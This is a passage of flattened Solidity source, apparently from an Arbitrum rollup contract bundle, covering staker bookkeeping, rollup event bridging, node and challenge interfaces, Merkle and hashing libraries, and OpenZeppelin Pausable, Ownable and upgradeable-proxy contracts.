* @param stakerAddress Address of the staker withdrawing their stake
*/
function withdrawStaker(address stakerAddress) internal {
Staker storage staker = _stakerMap[stakerAddress];
_withdrawableFunds[stakerAddress] = _withdrawableFunds[stakerAddress].add(
staker.amountStaked
);
deleteStaker(stakerAddress);
}
/**
* @notice Advance the given staker to the given node
* @param stakerAddress Address of the staker adding their stake
* @param nodeNum Index of the node to stake on
*/
function stakeOnNode(
address stakerAddress,
uint256 nodeNum,
uint256 confirmPeriodBlocks
) internal {
Staker storage staker = _stakerMap[stakerAddress];
INode node = _nodes[nodeNum];
uint256 newStakerCount = node.addStaker(stakerAddress);
staker.latestStakedNode = nodeNum;
if (newStakerCount == 1) {
INode parent = _nodes[node.prev()];
parent.newChildConfirmDeadline(block.number.add(confirmPeriodBlocks));
}
}
/**
* @notice Clear the withdrawable funds for the given address
* @param owner Address of the account to remove funds from
* @return Amount of funds removed from account
*/
function withdrawFunds(address owner) internal returns (uint256) {
uint256 amount = _withdrawableFunds[owner];
_withdrawableFunds[owner] = 0;
return amount;
}
/**
* @notice Increase the withdrawable funds for the given address
* @param owner Address of the account to add withdrawable funds to
*/
function increaseWithdrawableFunds(address owner, uint256 amount) internal {
_withdrawableFunds[owner] = _withdrawableFunds[owner].add(amount);
}
/**
* @notice Remove the given staker
* @param stakerAddress Address of the staker to remove
*/
function deleteStaker(address stakerAddress) private {
Staker storage staker = _stakerMap[stakerAddress];
uint256 stakerIndex = staker.index;
_stakerList[stakerIndex] = _stakerList[_stakerList.length - 1];
_stakerMap[_stakerList[stakerIndex]].index = stakerIndex;
_stakerList.pop();
delete _stakerMap[stakerAddress];
}
/**
* @notice Destroy the given node and clear out its address
* @param nodeNum Index of the node to remove
*/
function destroyNode(uint256 nodeNum) internal {
_nodes[nodeNum].destroy();
_nodes[nodeNum] = INode(0);
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a > b ? a : b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor () internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../access/Ownable.sol";
import "./TransparentUpgradeableProxy.sol";
/**
* @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an
* explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.
*/
contract ProxyAdmin is Ownable {
/**
* @dev Returns the current implementation of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("implementation()")) == 0x5c60da1b
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"5c60da1b");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Returns the current admin of `proxy`.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {
// We need to manually run the static call since the getter cannot be flagged as view
// bytes4(keccak256("admin()")) == 0xf851a440
(bool success, bytes memory returndata) = address(proxy).staticcall(hex"f851a440");
require(success);
return abi.decode(returndata, (address));
}
/**
* @dev Changes the admin of `proxy` to `newAdmin`.
*
* Requirements:
*
* - This contract must be the current admin of `proxy`.
*/
function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {
proxy.changeAdmin(newAdmin);
}
/**
* @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {
proxy.upgradeTo(implementation);
}
/**
* @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See
* {TransparentUpgradeableProxy-upgradeToAndCall}.
*
* Requirements:
*
* - This contract must be the admin of `proxy`.
*/
function upgradeAndCall(TransparentUpgradeableProxy proxy, address implementation, bytes memory data) public payable virtual onlyOwner {
proxy.upgradeToAndCall{value: msg.value}(implementation, data);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./Rollup.sol";
import "./facets/IRollupFacets.sol";
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/IMessageProvider.sol";
import "./INode.sol";
import "../libraries/Cloneable.sol";
contract RollupEventBridge is IMessageProvider, Cloneable {
uint8 internal constant INITIALIZATION_MSG_TYPE = 4;
uint8 internal constant ROLLUP_PROTOCOL_EVENT_TYPE = 8;
uint8 internal constant CREATE_NODE_EVENT = 0;
uint8 internal constant CONFIRM_NODE_EVENT = 1;
uint8 internal constant REJECT_NODE_EVENT = 2;
uint8 internal constant STAKE_CREATED_EVENT = 3;
uint8 internal constant CLAIM_NODE_EVENT = 4;
IBridge bridge;
address rollup;
modifier onlyRollup {
require(msg.sender == rollup, "ONLY_ROLLUP");
_;
}
function initialize(address _bridge, address _rollup) external {
require(rollup == address(0), "ALREADY_INIT");
bridge = IBridge(_bridge);
rollup = _rollup;
}
function rollupInitialized(
uint256 confirmPeriodBlocks,
uint256 arbGasSpeedLimitPerBlock,
uint256 baseStake,
address stakeToken,
address owner,
bytes calldata extraConfig
) external onlyRollup {
bytes memory initMsg =
abi.encodePacked(
confirmPeriodBlocks,
arbGasSpeedLimitPerBlock / 100, // convert avm gas to arbgas
uint256(0),
baseStake,
uint256(uint160(bytes20(stakeToken))),
uint256(uint160(bytes20(owner))),
extraConfig
);
uint256 num =
bridge.deliverMessageToInbox(INITIALIZATION_MSG_TYPE, msg.sender, keccak256(initMsg));
emit InboxMessageDelivered(num, initMsg);
}
function nodeCreated(
uint256 nodeNum,
uint256 prev,
uint256 deadline,
address asserter
) external onlyRollup {
deliverToBridge(
abi.encodePacked(
CREATE_NODE_EVENT,
nodeNum,
prev,
block.number,
deadline,
uint256(uint160(bytes20(asserter)))
)
);
}
function nodeConfirmed(uint256 nodeNum) external onlyRollup {
deliverToBridge(abi.encodePacked(CONFIRM_NODE_EVENT, nodeNum));
}
function nodeRejected(uint256 nodeNum) external onlyRollup {
deliverToBridge(abi.encodePacked(REJECT_NODE_EVENT, nodeNum));
}
function stakeCreated(address staker, uint256 nodeNum) external onlyRollup {
deliverToBridge(
abi.encodePacked(
STAKE_CREATED_EVENT,
uint256(uint160(bytes20(staker))),
nodeNum,
block.number
)
);
}
function claimNode(uint256 nodeNum, address staker) external onlyRollup {
Rollup r = Rollup(payable(rollup));
INode node = r.getNode(nodeNum);
require(node.stakers(staker), "NOT_STAKED");
IRollupUser(address(r)).requireUnresolved(nodeNum);
deliverToBridge(
abi.encodePacked(CLAIM_NODE_EVENT, nodeNum, uint256(uint160(bytes20(staker))))
);
}
function deliverToBridge(bytes memory message) private {
emit InboxMessageDelivered(
bridge.deliverMessageToInbox(
ROLLUP_PROTOCOL_EVENT_TYPE,
msg.sender,
keccak256(message)
),
message
);
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface INode {
function initialize(
address _rollup,
bytes32 _stateHash,
bytes32 _challengeHash,
bytes32 _confirmData,
uint256 _prev,
uint256 _deadlineBlock
) external;
function destroy() external;
function addStaker(address staker) external returns (uint256);
function removeStaker(address staker) external;
function childCreated(uint256) external;
function resetChildren() external;
function newChildConfirmDeadline(uint256 deadline) external;
function stateHash() external view returns (bytes32);
function challengeHash() external view returns (bytes32);
function confirmData() external view returns (bytes32);
function prev() external view returns (uint256);
function deadlineBlock() external view returns (uint256);
function noChildConfirmedBeforeBlock() external view returns (uint256);
function stakerCount() external view returns (uint256);
function stakers(address staker) external view returns (bool);
function firstChildBlock() external view returns (uint256);
function latestChildNumber() external view returns (uint256);
function requirePastDeadline() external view;
function requirePastChildConfirmDeadline() external view;
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface INodeFactory {
function createNode(
bytes32 _stateHash,
bytes32 _challengeHash,
bytes32 _confirmData,
uint256 _prev,
uint256 _deadlineBlock
) external returns (address);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../bridge/interfaces/IBridge.sol";
import "../bridge/interfaces/ISequencerInbox.sol";
interface IChallengeFactory {
function createChallenge(
address _resultReceiver,
bytes32 _executionHash,
uint256 _maxMessageCount,
address _asserter,
address _challenger,
uint256 _asserterTimeLeft,
uint256 _challengerTimeLeft,
ISequencerInbox _sequencerBridge,
IBridge _delayedBridge
) external returns (address);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
interface IOutbox {
event OutboxEntryCreated(
uint256 indexed batchNum,
uint256 outboxIndex,
bytes32 outputRoot,
uint256 numInBatch
);
event OutBoxTransactionExecuted(
address indexed destAddr,
address indexed l2Sender,
uint256 indexed outboxIndex,
uint256 transactionIndex
);
function l2ToL1Sender() external view returns (address);
function l2ToL1Block() external view returns (uint256);
function l2ToL1EthBlock() external view returns (uint256);
function l2ToL1Timestamp() external view returns (uint256);
function processOutgoingMessages(bytes calldata sendsData, uint256[] calldata sendLengths)
external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library Messages {
function messageHash(
uint8 kind,
address sender,
uint256 blockNumber,
uint256 timestamp,
uint256 inboxSeqNum,
uint256 gasPriceL1,
bytes32 messageDataHash
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
kind,
sender,
blockNumber,
timestamp,
inboxSeqNum,
gasPriceL1,
messageDataHash
)
);
}
function addMessageToInbox(bytes32 inbox, bytes32 message) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(inbox, message));
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "../challenge/ChallengeLib.sol";
import "./INode.sol";
library RollupLib {
struct Config {
bytes32 machineHash;
uint256 confirmPeriodBlocks;
uint256 extraChallengeTimeBlocks;
uint256 arbGasSpeedLimitPerBlock;
uint256 baseStake;
address stakeToken;
address owner;
address sequencer;
uint256 sequencerDelayBlocks;
uint256 sequencerDelaySeconds;
bytes extraConfig;
}
struct ExecutionState {
uint256 gasUsed;
bytes32 machineHash;
uint256 inboxCount;
uint256 sendCount;
uint256 logCount;
bytes32 sendAcc;
bytes32 logAcc;
uint256 proposedBlock;
uint256 inboxMaxCount;
}
function stateHash(ExecutionState memory execState) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
execState.gasUsed,
execState.machineHash,
execState.inboxCount,
execState.sendCount,
execState.logCount,
execState.sendAcc,
execState.logAcc,
execState.proposedBlock,
execState.inboxMaxCount
)
);
}
struct Assertion {
ExecutionState beforeState;
ExecutionState afterState;
}
function decodeExecutionState(
bytes32[3] memory bytes32Fields,
uint256[4] memory intFields,
uint256 proposedBlock,
uint256 inboxMaxCount
) internal pure returns (ExecutionState memory) {
return
ExecutionState(
intFields[0],
bytes32Fields[0],
intFields[1],
intFields[2],
intFields[3],
bytes32Fields[1],
bytes32Fields[2],
proposedBlock,
inboxMaxCount
);
}
function decodeAssertion(
bytes32[3][2] memory bytes32Fields,
uint256[4][2] memory intFields,
uint256 beforeProposedBlock,
uint256 beforeInboxMaxCount,
uint256 inboxMaxCount
) internal view returns (Assertion memory) {
return
Assertion(
decodeExecutionState(
bytes32Fields[0],
intFields[0],
beforeProposedBlock,
beforeInboxMaxCount
),
decodeExecutionState(bytes32Fields[1], intFields[1], block.number, inboxMaxCount)
);
}
function executionStateChallengeHash(ExecutionState memory state)
internal
pure
returns (bytes32)
{
return
ChallengeLib.assertionHash(
state.gasUsed,
ChallengeLib.assertionRestHash(
state.inboxCount,
state.machineHash,
state.sendAcc,
state.sendCount,
state.logAcc,
state.logCount
)
);
}
function executionHash(Assertion memory assertion) internal pure returns (bytes32) {
return
ChallengeLib.bisectionChunkHash(
assertion.beforeState.gasUsed,
assertion.afterState.gasUsed - assertion.beforeState.gasUsed,
RollupLib.executionStateChallengeHash(assertion.beforeState),
RollupLib.executionStateChallengeHash(assertion.afterState)
);
}
function challengeRoot(
Assertion memory assertion,
bytes32 assertionExecHash,
uint256 blockProposed
) internal pure returns (bytes32) {
return challengeRootHash(assertionExecHash, blockProposed, assertion.afterState.inboxCount);
}
function challengeRootHash(
bytes32 execution,
uint256 proposedTime,
uint256 maxMessageCount
) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(execution, proposedTime, maxMessageCount));
}
function confirmHash(Assertion memory assertion) internal pure returns (bytes32) {
return
confirmHash(
assertion.beforeState.sendAcc,
assertion.afterState.sendAcc,
assertion.afterState.logAcc,
assertion.afterState.sendCount,
assertion.afterState.logCount
);
}
function confirmHash(
bytes32 beforeSendAcc,
bytes32 afterSendAcc,
bytes32 afterLogAcc,
uint256 afterSendCount,
uint256 afterLogCount
) internal pure returns (bytes32) {
return
keccak256(
abi.encodePacked(
beforeSendAcc,
afterSendAcc,
afterSendCount,
afterLogAcc,
afterLogCount
)
);
}
function feedAccumulator(
bytes memory messageData,
uint256[] memory messageLengths,
bytes32 beforeAcc
) internal pure returns (bytes32) {
uint256 offset = 0;
uint256 messageCount = messageLengths.length;
uint256 dataLength = messageData.length;
bytes32 messageAcc = beforeAcc;
for (uint256 i = 0; i < messageCount; i++) {
uint256 messageLength = messageLengths[i];
require(offset + messageLength <= dataLength, "DATA_OVERRUN");
bytes32 messageHash;
assembly {
messageHash := keccak256(add(messageData, add(offset, 32)), messageLength)
}
messageAcc = keccak256(abi.encodePacked(messageAcc, messageHash));
offset += messageLength;
}
require(offset == dataLength, "DATA_LENGTH");
return messageAcc;
}
function nodeHash(
bool hasSibling,
bytes32 lastHash,
bytes32 assertionExecHash,
bytes32 inboxAcc
) internal pure returns (bytes32) {
uint8 hasSiblingInt = hasSibling ? 1 : 0;
return keccak256(abi.encodePacked(hasSiblingInt, lastHash, assertionExecHash, inboxAcc));
}
function nodeAccumulator(bytes32 prevAcc, bytes32 newNodeHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked(prevAcc, newNodeHash));
}
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
import "./INode.sol";
interface IRollupCore {
function _stakerMap(address stakerAddress)
external
view
returns (
uint256,
uint256,
uint256,
address,
bool
);
function getNode(uint256 nodeNum) external view returns (INode);
/**
* @notice Get the address of the staker at the given index
* @param stakerNum Index of the staker
* @return Address of the staker
*/
function getStakerAddress(uint256 stakerNum) external view returns (address);
/**
* @notice Check whether the given staker is staked
* @param staker Staker address to check
* @return True or False for whether the staker was staked
*/
function isStaked(address staker) external view returns (bool);
/**
* @notice Get the latest staked node of the given staker
* @param staker Staker address to lookup
* @return Latest node staked of the staker
*/
function latestStakedNode(address staker) external view returns (uint256);
/**
* @notice Get the current challenge of the given staker
* @param staker Staker address to lookup
* @return Current challenge of the staker
*/
function currentChallenge(address staker) external view returns (address);
/**
* @notice Get the amount staked of the given staker
* @param staker Staker address to lookup
* @return Amount staked of the staker
*/
function amountStaked(address staker) external view returns (uint256);
/**
* @notice Get the original staker address of the zombie at the given index
* @param zombieNum Index of the zombie to lookup
* @return Original staker address of the zombie
*/
function zombieAddress(uint256 zombieNum) external view returns (address);
/**
* @notice Get Latest node that the given zombie at the given index is staked on
* @param zombieNum Index of the zombie to lookup
* @return Latest node that the given zombie is staked on
*/
function zombieLatestStakedNode(uint256 zombieNum) external view returns (uint256);
/// @return Current number of un-removed zombies
function zombieCount() external view returns (uint256);
function isZombie(address staker) external view returns (bool);
/**
* @notice Get the amount of funds withdrawable by the given address
* @param owner Address to check the funds of
* @return Amount of funds withdrawable by owner
*/
function withdrawableFunds(address owner) external view returns (uint256);
/**
* @return Index of the first unresolved node
* @dev If all nodes have been resolved, this will be latestNodeCreated + 1
*/
function firstUnresolvedNode() external view returns (uint256);
/// @return Index of the latest confirmed node
function latestConfirmed() external view returns (uint256);
/// @return Index of the latest rollup node created
function latestNodeCreated() external view returns (uint256);
/// @return Ethereum block that the most recent stake was created
function lastStakeBlock() external view returns (uint256);
/// @return Number of active stakers currently staked
function stakerCount() external view returns (uint256);
/// @return Node hash as of this node number
function getNodeHash(uint256 index) external view returns (bytes32);
}
// SPDX-License-Identifier: Apache-2.0
/*
* Copyright 2019-2021, Offchain Labs, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
pragma solidity ^0.6.11;
library MerkleLib {
function generateRoot(bytes32[] memory _hashes) internal pure returns (bytes32) {
bytes32[] memory prevLayer = _hashes;
while (prevLayer.length > 1) {
bytes32[] memory nextLayer = new bytes32[]((prevLayer.length + 1) / 2);
for (uint256 i = 0; i < nextLayer.length; i++) {
if (2 * i + 1 < prevLayer.length) {
nextLayer[i] = keccak256(
abi.encodePacked(prevLayer[2 * i], prevLayer[2 * i + 1])
);
} else {
nextLayer[i] = prevLayer[2 * i];
}
}
prevLayer = nextLayer;
}
return prevLayer[0];
}
function calculateRoot(
bytes32[] memory nodes,
uint256 route,
bytes32 item
) internal pure returns (bytes32) {
uint256 proofItems = nodes.length;
require(proofItems <= 256);
bytes32 h = item;
for (uint256 i = 0; i < proofItems; i++) {
if (route % 2 == 0) {
h = keccak256(abi.encodePacked(nodes[i], h));
} else {
h = keccak256(abi.encodePacked(h, nodes[i]));
}
route /= 2;
}
return h;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./UpgradeableProxy.sol";
/**
* @dev This contract implements a proxy that is upgradeable by an admin.
*
* To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector
* clashing], which can potentially be used in an attack, this contract uses the
* https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two
* things that go hand in hand:
*
* 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if
* that call matches one of the admin functions exposed by the proxy itself.
* 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the
* implementation. If the admin tries to call a function on the implementation it will fail with an error that says
* "admin cannot fallback to proxy target".
*
* These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing
* the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due
* to sudden errors when trying to call a function from the proxy implementation.
*
* Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,
* you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.
*/
contract TransparentUpgradeableProxy is UpgradeableProxy {
/**
* @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and
* optionally initialized with `_data` as explained in {UpgradeableProxy-constructor}.
*/
constructor(address _logic, address admin_, bytes memory _data) public payable UpgradeableProxy(_logic, _data) {
assert(_ADMIN_SLOT == bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1));
_setAdmin(admin_);
}
/**
* @dev Emitted when the admin account has changed.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 private constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @dev Returns the current admin.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`
*/
function admin() external ifAdmin returns (address admin_) {
admin_ = _admin();
}
/**
* @dev Returns the current implementation.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.
*
* TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the
* https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.
* `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`
*/
function implementation() external ifAdmin returns (address implementation_) {
implementation_ = _implementation();
}
/**
* @dev Changes the admin of the proxy.
*
* Emits an {AdminChanged} event.
*
* NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.
*/
function changeAdmin(address newAdmin) external virtual ifAdmin {
require(newAdmin != address(0), "TransparentUpgradeableProxy: new admin is the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the implementation of the proxy.
*
